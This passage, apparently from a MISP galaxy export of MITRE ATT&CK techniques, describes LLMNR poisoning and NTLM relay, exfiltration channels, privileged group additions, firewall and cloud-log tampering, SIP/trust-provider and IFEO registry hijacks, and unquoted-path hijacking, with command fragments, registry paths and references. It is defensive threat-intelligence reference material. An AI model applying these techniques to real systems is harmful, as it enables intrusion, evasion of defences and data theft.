Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.

In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also

be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.

Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)

The tag is: *misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001"*

Table 7990. Table References

Links
https://attack.mitre.org/techniques/T1557/001
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
https://github.com/Kevin-Robertson/Conveigh
https://github.com/SpiderLabs/Responder
https://github.com/nomex/nbnspoof
https://technet.microsoft.com/library/cc958811.aspx
https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003"*

Table 7991. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

https://attack.mitre.org/techniques/T1048/003
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689

Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001"*

Table 7992. Table References

Links
https://attack.mitre.org/techniques/T1639/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html

Additional Local or Domain Groups - T1098.007

An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.

On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)

For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges.

In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Local or Domain Groups - T1098.007"*

Table 7993. Table References

Links
https://attack.mitre.org/techniques/T1098/007
https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)
https://rootdse.org/posts/monitoring-realtime-activedirectory-domain-scenarios
https://www.man7.org/linux/man-pages/man8/usermod.8.html

Match Legitimate Name or Location - T1655.001

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by giving artifacts the name and icon of a legitimate, trusted application (i.e., Settings), or using a package name that matches legitimate, trusted applications (i.e., `com.google.android.gm`).

Adversaries may also use the same icon of the file or application they are trying to mimic.

The tag is: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"*

Table 7994. Table References

Links
https://attack.mitre.org/techniques/T1655/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html

Disable or Modify System Firewall - T1562.004

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)

Adversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.

In ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.(Citation: Trellix Rnasomhouse 2024)(Citation: Broadcom ESXi Firewall)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"*

Table 7995. Table References

Links
https://attack.mitre.org/techniques/T1562/004
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html
https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps
https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/
https://x.com/TheDFIRReport/status/1498657772254240768

Disable or Modify Cloud Firewall - T1562.007

Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).

Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)

Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007"*

Table 7996. Table References

Links

https://attack.mitre.org/techniques/T1562/007
https://expel.io/blog/finding-evil-in-aws/
https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/

Disable or Modify Cloud Logs - T1562.008

An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.

For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user's license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Logs - T1562.008"*

Table 7997. Table References

Links
https://attack.mitre.org/techniques/T1562/008
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html
https://cloud.google.com/logging/docs/audit/configure-data-access
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html
https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete
https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/
https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detectiondisruption/main.py
https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591

SIP and Trust Provider Hijacking - T1553.003

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP's CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP's CryptSIPDllVerifyIndirectData function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.

- Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003"*

Table 7998. Table References

Links
http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
https://attack.mitre.org/techniques/T1553/003
https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
https://github.com/mattifestation/PoCSubjectInterfacePackage
https://msdn.microsoft.com/library/ms537359.aspx
https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Windows Management Instrumentation Event Subscription - T1546.003

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS

2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe` –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"*

Table 7999. Table References

Links
https://attack.mitre.org/techniques/T1546/003
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format—mof-
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.secureworks.com/blog/wmi-persistence

Exfiltration to Text Storage Sites - T1567.003

Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.

Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)

Note: This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Text Storage Sites - T1567.003"*

Table 8000. Table References

Links
https://attack.mitre.org/techniques/T1567/003
https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it

Executable Installer File Permissions Weakness - T1574.005

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005"*

Table 8001. Table References

Links
https://attack.mitre.org/techniques/T1574/005
https://seclists.org/fulldisclosure/2015/Dec/34
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/

Path Interception by Unquoted Path - T1574.009

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009"*

Table 8002. Table References

Links
https://attack.mitre.org/techniques/T1574/009
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Image File Execution Options Injection - T1546.012

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

The tag is: *misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012"*

Table 8003. Table References

Links
https://attack.mitre.org/techniques/T1546/012
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2

Friend/Follow/Connect to targets of interest - T1344

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1344).

Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)

The tag is: *misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344"*

Table 8004. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1344
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Friend/Follow/Connect to targets of interest - T1364

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1364).

A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)

The tag is: *misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364"*

Table 8005. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1364

Identify personnel with an authority/privilege - T1271

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1271).

Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual

with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify personnel with an authority/privilege - T1271"*

Table 8006. Table References

Links
https://attack.mitre.org/techniques/T1271

Receive KITs/KIQs and determine requirements - T1239

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1239).

Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)

The tag is: *misp-galaxy:mitre-attack-pattern="Receive KITs/KIQs and determine requirements - T1239"*

Table 8007. Table References

Links
https://attack.mitre.org/techniques/T1239

Identify job postings and needs/gaps - T1248

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1248).

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248"*

Table 8008. Table References

Links
https://attack.mitre.org/techniques/T1248

Analyze hardware/software security defensive capabilities - T1294

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1294).

An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze hardware/software security defensive capabilities - T1294"*

Table 8009. Table References

Links
https://attack.mitre.org/techniques/T1294

Discover target logon/email address format - T1255

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1255).

Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Discover target logon/email address format - T1255"*

Table 8010. Table References

Links
https://attack.mitre.org/techniques/T1255

Identify job postings and needs/gaps - T1267

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1267).

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267"*

Table 8011. Table References

Links
https://attack.mitre.org/techniques/T1267

Identify job postings and needs/gaps - T1278

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1278).

Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278"*

Table 8012. Table References

Links
https://attack.mitre.org/techniques/T1278

Analyze organizational skillsets and deficiencies - T1300

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1300).

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300"*

Table 8013. Table References

Links
https://attack.mitre.org/techniques/T1300

Exfiltration Over Other Network Medium - T1011

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the

exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

